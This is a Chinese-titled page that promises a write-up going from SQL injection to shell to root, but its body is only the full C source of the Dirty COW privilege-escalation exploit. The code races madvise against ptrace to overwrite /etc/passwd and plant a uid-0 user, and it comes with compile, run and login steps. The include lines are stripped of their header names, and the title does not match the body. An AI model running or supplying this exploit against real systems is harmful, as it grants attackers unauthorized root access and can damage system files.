mysql 注入 提权_记一次安全测试从sql注入到getshell到root提权

//

// This exploit uses the pokemon exploit of the dirtycow vulnerability

// as a base and automatically generates a new passwd line.

// The user will be prompted for the new password when the binary is run.

// The original /etc/passwd file is then backed up to /tmp/passwd.bak

// and overwrites the root account with the generated line.

// After running the exploit you should be able to login with the newly

// created user.

//

// To use this exploit modify the user values according to your needs.

//   The default is "firefart".

//

// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):

//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c

//

// Compile with:

//   gcc -pthread dirty.c -o dirty -lcrypt

//

// Then run the newly create binary by either doing:

//   "./dirty" or "./dirty my-new-password"

//

// Afterwards, you can either "su firefart" or "ssh firefart@..."

//

// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!

//   mv /tmp/passwd.bak /etc/passwd

//

// Exploit adopted by Christian "FireFart" Mehlmauer

// https://firefart.at

//

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

const char *filename = "/etc/passwd";

const char *backup_filename = "/tmp/passwd.bak";

const char *salt = "firefart";

int f;

void *map;

pid_t pid;

pthread_t pth;

struct stat st;

struct Userinfo {

char *username;

char *hash;

int user_id;

int group_id;

char *info;

char *home_dir;

char *shell;

};

char *generate_password_hash(char *plaintext_pw) {

return crypt(plaintext_pw, salt);

}

char *generate_passwd_line(struct Userinfo u) {

const char *format = "%s:%s:%d:%d:%s:%s:%s\n";

int size = snprintf(NULL, 0, format, u.username, u.hash,

u.user_id, u.group_id, u.info, u.home_dir, u.shell);

char *ret = malloc(size + 1);

sprintf(ret, format, u.username, u.hash, u.user_id,

u.group_id, u.info, u.home_dir, u.shell);

return ret;

}

void *madviseThread(void *arg) {

int i, c = 0;

for(i = 0; i < 200000000; i++) {

c += madvise(map, 100, MADV_DONTNEED);

}

printf("madvise %d\n\n", c);

}

int copy_file(const char *from, const char *to) {

// check if target file already exists

if(access(to, F_OK) != -1) {

printf("File %s already exists! Please delete it and run again\n",

to);

return -1;

}

char ch;

FILE *source, *target;

source = fopen(from, "r");

if(source == NULL) {

return -1;

}

target = fopen(to, "w");

if(target == NULL) {

fclose(source);

return -1;

}

while((ch = fgetc(source)) != EOF) {

fputc(ch, target);

}

printf("%s successfully backed up to %s\n",

from, to);

fclose(source);

fclose(target);

return 0;

}

int main(int argc, char *argv[])

{

// backup file

int ret = copy_file(filename, backup_filename);

if (ret != 0) {

exit(ret);

}

struct Userinfo user;

// set values, change as needed

user.username = "firefart";

user.user_id = 0;

user.group_id = 0;

user.info = "pwned";

user.home_dir = "/root";

user.shell = "/bin/bash";

char *plaintext_pw;

if (argc >= 2) {

plaintext_pw = argv[1];

printf("Please enter the new password: %s\n", plaintext_pw);

} else {

plaintext_pw = getpass("Please enter the new password: ");

}

user.hash = generate_password_hash(plaintext_pw);

char *complete_passwd_line = generate_passwd_line(user);

printf("Complete line:\n%s\n", complete_passwd_line);

f = open(filename, O_RDONLY);

fstat(f, &st);

map = mmap(NULL,

st.st_size + sizeof(long),

PROT_READ,

MAP_PRIVATE,

f,

0);

printf("mmap: %lx\n",(unsigned long)map);

pid = fork();

if(pid) {

waitpid(pid, NULL, 0);

int u, i, o, c = 0;

int l=strlen(complete_passwd_line);

for(i = 0; i < 10000/l; i++) {

for(o = 0; o < l; o++) {

for(u = 0; u < 10000; u++) {

c += ptrace(PTRACE_POKETEXT,

pid,

map + o,

*((long*)(complete_passwd_line + o)));

}

}

}

printf("ptrace %d\n",c);

}

else {

pthread_create(&pth,

NULL,

madviseThread,

NULL);

ptrace(PTRACE_TRACEME);

kill(getpid(), SIGSTOP);

pthread_join(pth,NULL);

}

printf("Done! Check %s to see if the new user was created.\n", filename);

printf("You can log in with the username '%s' and the password '%s'.\n\n",

user.username, plaintext_pw);

printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",

backup_filename, filename);

return 0;

}